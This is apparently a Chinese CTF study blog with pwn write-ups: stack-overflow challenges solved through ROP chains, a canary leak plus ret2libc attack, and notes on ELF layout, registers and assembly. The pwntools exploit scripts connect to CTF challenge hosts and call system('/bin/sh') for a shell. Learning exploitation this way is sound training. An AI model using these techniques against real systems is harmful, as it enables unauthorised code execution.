0%

pwn43

ida:

image-20250122210931156

发现gets可以栈溢出(0x6c+0x4),但是并没有找到bin/sh或sh字符串,但是有system

image-20250122211029691

运行gdb使用vmmap命令即可观察到各段的权限信息

我们发现0x804b000-0x804c000是可写的

image-20250122211456327

-p 标志表示内存区域的权限,它由四个字符组成,每个字符分别代表一个权限:

r:可读(Readable)
w:可写(Writable)
x:可执行(Executable)
s:共享(Shared)

我们在bss段找到了变量buf2是可写的

通常情况下,BSS 段下的变量是可写的。BSS 段是用来存储未初始化的全局变量和静态变量的,操作系统在程序加载时会为这些变量分配内存并将其初始化为零或空指针。因此,BSS 段下的变量通常具有读写权限,可以被程序写入数据。

image-20250122211843495

思路:我们可以调用gets函数将/bin/sh字符串写入变量buf2,在传递给system函数的第一个参数就构造成功了system(“/bin/sh”)

gets:0x08048420

system:0x08048450

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*
io = remote('pwn.challenge.ctf.show',28119)
buf2 = 0x0804B060
system = 0x08048450
gets = 0x08048420
payload= b'a'*(0x6c+0x4)
payload += p32(gets)
payload += p32(system) #作为gets函数的返回地址,返回到system函数中
payload += p32(buf2) #作为gets函数的参数(发送的/bin/sh将会被写入buf2),也是system函数的返回地址(是无效的)
payload += p32(buf2) #system函数的参数
io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()

pwn44

这道题思路与pwn43一样只不过是64位的,传参方式不同

image-20250122215202212

栈溢出(0xa+0x8)

image-20250122215304195

system:0x0400520

gets:0x0400530

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
io = remote('pwn.challenge.ctf.show',28255)
buf2 = 0x602080
system = 0x0400520
gets = 0x0400530
ret = 0x00000000004004fe
rdi = 0x00000000004007f3
payload= b'a'*(0xa+0x8)
payload += p64(rdi)
payload += p64(buf2)
payload += p64(gets)
payload += p64(rdi)
payload += p64(buf2)
payload += p64(system)
io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()

总结pwn33,34

(1)解题思路

当没有bin/sh或者sh字符串时,但是bss存在未初始化的变量,我们可以调用gets,read等函数将/bin/sh字符串写入将其作为system的第一个参数,构造system(“/bin/sh”)

(2)64位与32位栈溢出后函数调用的不同

  1. 32位调用函数参数全在栈上,64位前是7个参数放在寄存器里,后面的放在栈上面。

  2. 32位调用函数压栈顺序是先压参数最后压返回函数,64位先是压入返回函数然后将参数放在寄存器

一、栈的介绍

(1)栈的基本概念

栈(Stack):一种后进先出(LIFO)的数据结构,用于存储程序运行时的临时数据

栈帧(Stack Frame):每个函数调用时,栈会分配一个栈帧,用于存储函数的局部变量、参数、返回地址等信息

栈指针(SP):指向当前栈顶的指针,随着压栈(Push)和出栈(Pop)操作动态变化

基指针(BP):指向当前栈帧的底部,用于在栈帧中定位局部变量和参数

指令指针(IP/EIP/RIP):指向当前执行的指令地址,函数调用时会保存返回地址到栈中

(2)栈的内存布局

函数调用栈是程序运行时内存中一段连续的区域,用于保存函数运行时的状态信息。这些状态信息包括:

函数参数:调用函数时传递给被调用函数的参数

局部变量:被调用函数中定义的变量

返回地址:被调用函数执行完毕后,程序需要返回的位置

保存的寄存器值:某些情况下,函数会保存一些寄存器的值,以便在函数返回时恢复

(3)栈的先进后出特性

函数调用栈被称为“栈”,是因为它遵循后进先出的原则

压栈(Push):当发生函数调用时,调用函数(caller)的状态被保存到栈中,被调用函数(callee)的状态被压入栈顶。

退栈(Pop):当函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。

(4)栈的生长方向

在大多数系统中,函数调用栈在内存中是从高地址向低地址生长的

压栈时:栈顶指针(SP)向低地址移动,栈顶对应的内存地址变小。

退栈时:栈顶指针(SP)向高地址移动,栈顶对应的内存地址变大。

二、 函数调用过程

(1)参数传递的步骤

1.逆序压栈

调用函数(caller)按照逆序将参数依次压入栈中。这意味着最后一个参数先被压入栈,第一个参数最后被压入栈。

例如,调用函数 callee(1,2,3) 时,参数的压栈顺序是3,2,1

1
2
3
push 3    ; 第三个参数,实际是第一个一个压入栈
push 2 ; 第二个参数
push 1 ; 第一个参数,实际是最后一个压入栈

2.参数保存

这些参数被压入栈后,会保存在调用函数(caller)的栈帧中。此时,调用函数的栈帧仍然包含这些参数

3.被调用函数的状态保存

在参数压栈之后,调用函数会将控制权交给被调用函数(callee)。此时,被调用函数会创建自己的栈帧,并将这些参数视为自己的输入

(2)栈帧的切换

当被调用函数(callee)开始执行时,栈帧的切换过程如下:

1.保存返回地址

当调用函数使用 call 指令调用被调用函数时,call 指令会自动将调用函数的下一条指令的地址(即返回地址)压入栈中

1
call callee  ; 调用 callee 函数

2.创建被调用函数的栈帧

被调用函数(callee)会创建自己的栈帧,包括保存的寄存器值(也就是调用函数的基地址)、局部变量等

被调用函数会从栈中读取参数,并在自己的栈帧中使用这些参数

1
2
push ebp       ; 保存调用者的基地址
mov ebp, esp ; 建立被调用者的基地址

3.执行被调用函数

被调用函数执行其逻辑,操作局部变量和参数

image-20250120172851935

4.清理栈帧

被调用函数执行完毕后,清理自己的栈帧,释放局部变量占用的空间

返回地址从栈中弹出,存储到指令指针(IP/EIP/RIP)中,程序跳回调用函数的下一条指令

1
2
3
mov esp, ebp  ; 恢复栈指针到调用者调用时的位置,释放局部变量占用的空间
pop ebp ; 恢复调用者的基地址
ret ; 从栈中弹出返回地址并跳转到该地址

注:

x86

使用栈来传递参数使用 eax 存放返回值

amd64

前6个参数依次存放于 rdi、rsi、rdx、rcx、r8、r9 寄存器中第7个以后的参数存放于栈中

1.[NISACTF 2022]ReorPwn?

image-20250119144608720

用ida打开发现gets危险函数但是没有栈溢出,在调用system函数前,调用了fun函数

看一下fun函数没看懂搜了一下,是交换字符串的位置反转一下,输入sl没有反应,直接输入galf tac,flag出来了

image-20250119144645315

2.[BJDCTF 2020]babystack2.0

Checksec发现64位nx保护开启

image-20250119140419683

从题目提示看是整数溢出和栈溢出

用idea打开发现后门函数backdoor(0x0400726)和危险函数read可以栈溢出(0x10),但是被if函数限制了得绕过if函数

image-20250119140514421

搜了一下wp

image-20250119140127117

看懂了,本来nbytes是无符号的整型(size_t),而后面转换成了有符号的整型(int)发送-1,10绕过if,且unsigned int是无符号整型,遇到-1就会变成unsigned int的最大值,使read函数能够栈溢出最后返回到后门的地址。

exp

1
2
3
4
5
6
7
from pwn import*
r = remote('node4.anna.nssctf.cn',28220)
p1 = b'-1'
r.sendline(p1)
p2 = b'a'*(0x10+0x8)+p64(0x0400726)
r.sendline(p2)
r.interactive()

3.[BJDCTF 2020]babystack

image-20250119140737788

这道题与上一道相似,但是少了if,更简单了,buf读入的数据长度由我们输入的nbytes来决定,这里可以栈溢出,先输入一个大于0x10字节,在进行溢出就可以。

Exp

1
2
3
4
5
6
7
from pwn import*
r = remote(' [node4.anna.nssctf.cn’,28343](http://node4.anna.nssctf.cn:28343/)')
p1 = b'100'
r.sendline(p1)
p2 = b'a'*(0x10+0x8)+p64(0x04006E6)
r.sendline(p2)
r.interactive()

也可以用上面一个exp因为unsigned int是无符号整型,遇到-1就会变成unsigned int的最大值

4.[NISACTF 2022]ezstack

Checksec发现是32位的。NX保护开启

Ida分析发现main函数,又发现shell函数发现read可以栈溢出,shift+f12发现system与/bin/sh,找到system的地址,与/bin/sh的地址编写exp

1
2
3
4
5
6
7
from pwn import *
p = remote('node5.anna.nssctf.cn', 22397)
sh_addr=0x804a024
system_plt=0x8048390
payload=b'a'*(0x48+0x4)+p32(system_plt)+p32(sh_addr)+p32(sh_addr) #第一个p32(sh_addr)用于占位
p.sendline(payload)
p.interactive()

5.[GFCTF 2021]where_is_shell

Checksec发现保护开启,ida查看发现危险函数read,可以栈溢出,有system函数无/bin/sh,不会写,看了一下wp,虽然没有/bin/sh字符串,但是的汇编二进制代码里的24 30可以用来表示$0,而$0指代的就是”/bin/sh,

/bin/sh的地址为img

img

pop rdi;ret地址

img

还需要栈对齐需要

img

Exp模板

1
2
3
4
5
from pwn import*
p = remote()
payload = b'a'*(0x10 + 8) + p64(ret_addr) + p64(pop_rdi_addr) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload)
p.interactive()

img

6.[NSSCTF 2022 Spring Recruit]R3m4ke?

checksec查看img

Ida打开,发现危险函数gets栈溢出

有/bin/sh字符串非常简单的栈溢出

找到system的地址栈溢出返回到system地址

img

Exp

img

7.[HNCTF 2022 Week1]easyoverflow

Checksec

img

Ida打开发现gets危险函数,可以溢出,发现cat flag字符串可以作为返回地址

地址:img

Exp

img

8.[WUSTCTF 2020]getshell

Checksec

img

Ida

发现img

可以栈溢出,发现/bin/sh字符串,地址img

Exp

img

9.[GDOUCTF 2023]EASY PWN

Ida分析发现是随机生成一个数字,猜数字

发现gets函数,可以栈溢出

Shift+f12发现后门flag.txt

找到地址0x0011D5

直接溢出

Exp如下

img

10.others_shellcode

checksec查看

wps18

Ida查看

没有看懂

Nc一下

wps19

直接出来了,非常神奇

搜了一下wp

wps20

前言

image-20250118204042289

image-20250119000301446

本题是Canary保护+ret2libc,根据这个题目来总结一下canary保护和ret2libc

Canary保护

(1)Canary介绍

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

(2)Canary原理

当函数开始执行时,会在内存某处插入一组随机数canary(一般是 寄存器fs: 0x28 处,栈中 %ebp-0x8 的位置),我们在直接进行栈溢出时canary的值就会改变,在函数退栈返回前,程序会比对栈上的canary副本和原始的canary。如果二者不同,则说明发生了栈溢出,这时程序会直接崩溃,调用__stack_chk_fail函数来终止程序

image-20250118195529093

image-20250118195650040

(3)Canary绕过

我们知道在进行栈溢出时Canary的值已经改变,但函数退栈返回前程序会比对Canary的值,我们可以先把Canary泄露出来,进行栈溢出时候,再把Canary的值发送,这样Canary的值就不会改变

(4)Canary特点

Canary所生成的随机数有一个非常重要的特点:随机数的第一个字节必然是 0x00。如此设计的主要目的是实现字符串截断,当我们进行泄露时遇到0x00直接就停止了,但是我们进行栈溢出时,可以多发送一个字节,使\x00被覆盖,这样我们就可以成功的将Canary泄露出来

ret2libc

(1)题目特点

进行栈溢出时,程序可能没有后门函数,可能既没有system函数,又没有”/bin/sh”字符串,我们就无法拿到shell,但是我们可以借助libc库将其真实地址计算出来

(2)解题思路

我们知道函数的真实地址 = 基地址 + 偏移地址 ,如果我们知道每次程序运行的基地址,以及每个函数的偏移地址,我们就可以计算出函数的真实地址

基地址:每次运行程序加载函数时,函数的基地址都会发生改变

偏移地址:libc库中存放的就是这些函数的偏移地址,函数真实地址的后三位不会变化,根据其最后三位借助,可以判断出libc库的版本

查询libc版本网站:libc database search

使用方法:输入函数名称和真实地址

如何计算基地址:

我们知道基地址 = 函数的真实地址 - 偏移地址

我们可以借助puts(),write()这样的函数将某个函数的真实地址打印出来(即got表中存放的地址),由于Linux的动态延迟绑定技术,我们必须选择一个main函数中已经执行过的函数,一般选择puts和write

(4)plt表和got表

PLT表(Procedure Linkage Table):PLT表用于实现函数调用的延迟绑定。当程序调用一个外部函数时,首先会跳转到PLT表中的相应条目,PLT表中的代码会检查GOT表中该函数地址是否已经解析。如果已经解析,就直接跳转到GOT表中的实际函数地址;如果尚未解析,就会触发动态链接器进行解析操作,然后更新GOT表并完成函数调用

GOT表(Global Offset Table):GOT表用于存放外部函数和全局变量的地址。GOT表在动态链接过程中起着关键作用,它允许程序在运行时查找和调用外部函数。

在这里引用一张大佬的图解释

img

(5)延迟绑定

定义:延迟绑定(Lazy Binding)是一种在程序运行过程中动态链接共享库函数的技术。它的核心思想是推迟对外部函数(位于共享库中的函数)的地址解析,直到程序首次调用该函数时才进行解析。这样做的主要目的是为了提高程序的启动速度,因为如果在程序启动时就对所有可能用到的外部函数进行地址解析,会花费大量时间,而且很多函数可能在程序运行过程中根本不会被调用

调用函数A的过程

首次调用:

img

再次调用:

img

(6)总结

1.找到一个main函数中已经执行过的函数,构造payload1调用puts或write将其真实地址打印出来,根据真实地址确定libc版本,以及函数的偏移地址

2.根据基地址=真实地址-偏移地址

3.根据真实地址=基地址+偏移地址算出system函数和”/bin/sh”字符串的真实地址

4.构造payload2,劫持程序,拿到shell

exp以及解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from LibcSearcher import *
io=process('./ezlibc')
elf=ELF("./ezlibc")
io=remote('xlctf.huhstsec.top',40657)
context(arch="amd64",os='linux',log_level='debug')

#payload1:泄露canary
payload1=b'a'*(0x30-0x8)+b'b' #多发送一个b来覆盖canary的\x00
io.recvuntil(b'flag!')
io.send(payload1); #这里不能用sendline,因为回车会占字节
io.recvuntil(b'ab') #定位到Canary之前
canary=u64(b'\x00'+io.recv(7)) #接受canary将\x00重新填上,再接受7个字节,并转换为64位
print('canary:',hex(canary))
pop_rdi_ret_addr=0x400843
ret_addr=0x000000000040059e
puts_plt=elf.plt['puts'] #查找puts函数plt表的地址
main_addr=0x4006e7
puts_got=elf.got["puts"] #查找puts函数got表的地址
print("puts_plt:",hex(puts_plt))
print("plt_got:",hex(puts_got))

#payload2:泄露puts真实地址
payload2=b'a'*(0x30-8)+p64(canary)+b'a'*8 #先覆盖到到canary之前,再将canary发送
payload2+=p64(pop_rdi_ret_addr)+p64(puts_got) #将puts函数got表的地址储存在寄存器rdi里
payload2+=p64(puts_plt) #调用puts函数
payload2+=p64(main_addr) #最后返回到main,再次进行栈溢出
io.recvuntil(b"Maybe UR closer to the key")
io.sendline(payload2)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00')) #接收puts函数的真实地址,从7f开始接收,长度补足8个字节
print("real addr:",hex(puts_addr))
libc=LibcSearcher('puts',puts_addr) #查询libc版本
base=puts_addr-libc.dump('puts') #计算基地址
system=base+libc.dump('system') #计算system函数地址
bin_sh=base+libc.dump('str_bin_sh') #计算/bin/sh字符串地址


#payload3:构造调用system("/bin/sh")
payload3=b'a'*(0x30-8)+p64(canary)+b'a'*8
payload3+=p64(ret_addr) #栈平衡
payload3+=p64(pop_rdi_ret_addr)+p64(bin_sh) #将/bin/sh的地址储存在rdi寄存器中
payload3+=p64(system)
io.sendline(payload3)
io.interactive()

最后题目为我们提供Libc版本.so文件, 与 不提供的区别

(1)当题目不提供libc.so文件我们就需要借助LibcSearche库

1
2
3
4
5
from LibcSearcher import *
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts') #计算基地址
system=base+libc.dump('system') #计算system函数地址
bin_sh=base+libc.dump('str_bin_sh') #计算/bin/sh字符串地址

(2)当题目提供libc.so文件

1
2
3
4
libc=ELF('libc-2.23.so')
base=puts_addr-libc.sym['puts'] #计算基地址
system=base+libc.sym['system'] #计算system函数地址
bin_sh = libc_base + next(libc.search(b'/bin/sh')) #计算/bin/sh字符串地址

参考文章:

canary:canary介绍与绕过技巧_金丝雀漏洞缓解-CSDN博客

pwn入门之canary保护_pwn canary-CSDN博客

ret2libc:pwn入门:基本栈溢出之ret2libc详解(以32位+64位程序为例)-CSDN博客

exp:[【PWN · ret2libc | Canary】2021 鹤城杯]littleof-CSDN博客

区别:CTF(Pwn) 当题目为我们提供Libc版本.so文件, 与 不提供的区别_ctf题中.so文件-CSDN博客

一、程序的编译与链接

从C源代码到可执行文件的生成过程

编译: 由C语言代码生成汇编代码

汇编: 由汇编代码生成机器码

链接 :将多个机器码的目标文件链接成一个可执行文件

1

​ C语言→汇编语言→机器码

二、Linux下的可执行文件格式

(1)什么是可执行文件?

广义:文件中的数据是可执行文件

例:

.out .exe .sh .py

狭义:文件中的数据是机器码的文件

例:

.out .exe .dll .so

.out .exe .dl .so

(2)可执行文件的分类

Windows:PE

可执行程序 动态链接库 静态链接库
.exe .dll .lib

Linux:ELF

可执行程序 动态链接库 静态链接库
.out .so .a

(3)磁盘中的ELF与内存中的ELF

磁盘中的储存方式:节

内存中的储存方式:段

2

RW可写 Data段 RX可读 Code段
.data .rodata
.bss .text
.got .int
.plt ELF Header
Stack Heap For Kernel STACK HEAP DATA CODE
用来管理函数调用的状态 申请动态内存的调用 操作系统代码 栈段 堆段 数据段 代码段

vmmap:查看程序进程的内存空间

注:数据从低地址向高地址写 Heap:是从低往高增长 Stack:是从高往低增长(栈的增长方向是相反的)

三、进程虚拟地址空间

3

(1)地址编码

地址以字节编码,1Byte=8bits,常以16进制表示

(2)二进制与十六进制转换

1.二进制转十六进制

例:11010110

从右往左每四位一组1101 0110,将二进制转换为十进制在对应为十六进制

1101=1×2³ + 1×2² + 0×2¹ + 1×2⁰ =13=D

0110=0×2³ + 1×2² + 1×2¹ + 0×2⁰=6

11010110=D6

2.十六进制转二进制

例:2AF

将每个十六进制的数转换为对应的四位二进制数,在组合起来

2=0010

A=10=1010

F=15=1111

2AF=0010 1010 1111

(3)虚拟内存

虚拟内存用户空间每个进程一份

虚拟内存内核空间所有进程共享一份

虚拟内存mmap段中的动态链接库仅在物理内存中装载一份

(4)段(segment)与节(section)

代码段(Text segment) 数据段(Data segment)
包含了代码与只读数据 包含了可读可写数据
.text 节 .data 节
.rodata 节 .dynamic 节
.hash 节 .got 节
.dynsym 节 .got.plt 节(保存plt节解析出的函数的实际地址)
.dynstr 节 .bss 节 (只占用内存的空间不占用磁盘的空间)
.plt 节(解析动态链接函数的实际地址)
.rel.got 节

(5)程序数据是如何在内存中组织的

image-20250114203349946

Data段:放已经初始化的全局变量

Bss段:放未初始化的全局变量

Text段:除了防止代码还放只读数据(.rodata)

Heap段:动态存储区

Stack段:存放局部变量(随着函数执行完被丢弃)

注:x,y是形参,当main函数调用sum函数时才会被用到,只有参数传递的时候才会被使用

32位架构:当main函数调用sum函数时,在创建sum函数的栈帧之前,将x和y的值压栈

64位架构:x,y不会放在虚拟内存中,而是放在寄存器中

(6)大端序与小端序

image-20250114212210896

小端序:低地址存放数据低位、高地址存放数据高位(大部分)

image-20250118180248328

大端序:低地址存放数据高位、高地址存放数据低位(小部分)

注:在C语言中0x00是字符串的结束符,大部分情况数据高位都为0,大端序低地址存放高位数据,数据是从低地址向高地址写,当进行溢出时,从低地址写入遇到0x00就直接结束了,所以小端序比大端序更好利用。

四、程序的装载与进程的执行

(1)进程的执行过程

image-20250114213905165

PC寄存器(Register):存放当前执行指令的地址(process count)

x86 eip x64 rip

(2)寄存器

image-20250114215650510

amd64位寄存器结构

名称 大小
rax 8Bytes
eax 4Bytes
ax 2Bytes
ah 1Bytes
al 1Bytes

部分寄存器的功能

名称 功能
RSP 存放当前栈帧的栈顶地址
RBP 存放当前栈帧的栈底地址
RAX 通用寄存器存放函数返回值
RIP 存放当前执行的指令的地址

(3)静态链接的程序的执行过程

image-20250114215750912

user mode:用户代码 hernel mode:操作系统代码

(4)动态链接的程序的执行过程

image-20250114231359629

五、x86&amd64汇编简述

(1)常用汇编指令

MOV LEA PUSH POP LEAVE RET
把源操作数传送给目标 把源操作数的有效地址送给指定的寄存器 把目标值压栈,同时SP指针-1字长 将栈顶的值弹出至目的存储位置,同时SP指针+1字长 在函数返回时,恢复父函数栈帧的指令 在函数返回时,控制程序执行流返回父函数的指令

(2)两种汇编格式

intel AT&T
mov eax, 8 movl $8, %eax
mov ebx, 0ffffh movl $0xffff, %ebx
int 80h int $80
mov eax, [ecx] movl (%ecx), %eax

image-20250207132728553

// 在最后添加